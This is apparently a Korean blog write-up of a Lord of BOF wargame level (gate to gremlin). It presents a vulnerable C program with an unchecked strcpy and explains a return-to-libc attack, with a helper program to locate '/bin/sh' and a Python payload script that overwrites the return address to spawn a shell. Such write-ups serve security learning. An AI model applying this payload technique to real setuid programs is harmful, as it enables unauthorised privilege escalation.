ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [1번] Gate -> Gremlin
    WARGAME/LORD OF BOF 2018. 6. 20. 00:01

    [Summary]

    1. 14행의 취약한 strcpy 함수를 이용하여 256 바이트의 buffer 배열에 256바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. buffer 배열에 dummy(260) 값과 system 함수의 주소, dummy(4), system 함수의 인자(/bin/sh)를 입력시킨 후 EIP 레지스터를 buffer 배열의 system 함수 부분의 주소로 변조하여 system 함수를 실행시킨다.

    3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
    */
      
    int main(int argc, char *argv[])
    {
        char buffer[256];
        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
    }

    [Analysis]

    해당 문제는 소스코드와 바이너리 하나씩 주어진다. 소스코드를 보기 전에 해당 시스템에 aslr 보호 기법이 걸려있는지 간단하게 아래 명령어를 통해 확인한다.

    연속으로 명령을 입력한 결과 메모리주소가 변경되지 않은 것으로 보아 aslr 기법은 걸려 있지 않은것 같다.


    다음으로 소스코드를 보게 되면 14행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 즉, 260바이트의 더미 데이터와 4바이트의 return 주소를 덮어서 eip 를 컨트롤 할 수 있다.


    필자는 eggshell 을 이용하여 쉘코드를 환경변수에 위치시킨 후 return 주소를 쉘코드가 위치한 주소로 가리켜 익스플로잇을 할 수도 있지만, aslr 과 ascii armor 등과 같이 보호기법이 걸려 있지 않기 때문에 RTL 기법을 이용하여 상위권한의 쉘을 획득할 것이다.


    먼저 RTL 을 하기 위해서는 아래 값들이 필요하다.

    1. system 함수 주소

    2. system 함수의 인자로 들어갈 /bin/sh 문자열의 주소


    system 함수의 주소를 구하기 위해 gdb 를 이용하면 된다.

    ※ 바이너리를 copy 하는 이유 : setuid 가 걸려있는 바이너리는 gdb 로 디버깅이 안됨.


    gdb 에서 main 시작주소에 브레이크 포인트를 걸고 실행한 뒤 system 주소를 알아낸다.

    ※ 바이너리를 실행 시켜주지 않으면 libc 라이브러리가 임포트 되지 않았기 때문에 system 주소가 나오지 않는다.


    /bin/sh 의 문자열은 system 함수 내부에 위치해 있는 것을 이용해 필자가 약간의 코딩을 하여 주소 값을 알아낼 수 있다.

    아래는 system 함수의 주소를 기준으로 /bin/sh 문자열이 위치한 주소값을 구하는 코드이다.

    #include <stdio.h>
    
    int main(void) {
            int sh = 0x40058ae0;
            while( memcmp( (void*)sh, "/bin/sh", 8 ) )
                    sh++;
            printf("[+] Find binsh - %p\n", (void*)sh);
            return 0;
    }
    



    /bin/sh 문자열이 위치한 주소값이 맞는지 gdb 를 이용해 확인해 본다.


    이제 필요한 정보들이 모두 모였기 때문에 아래 처럼 페이로드를 작성해 익스플로잇을 한다.

    ※ system - 0x40058ae0

    ※ /bin/sh - 0x400fbff9

    [Exploit]

    import os
    import struct
    
    p = lambda x : struct.pack("<L", x)
    
    system  = 0x40058ae0
    binsh   = 0x400fbff9
    
    payload = "\x90"*260
    payload = payload + p(system)
    payload = payload + "\x90"*4
    payload = payload + p(binsh)
    
    print payload
    


    gremlin : hello bof world


    [References]


Designed by Tistory.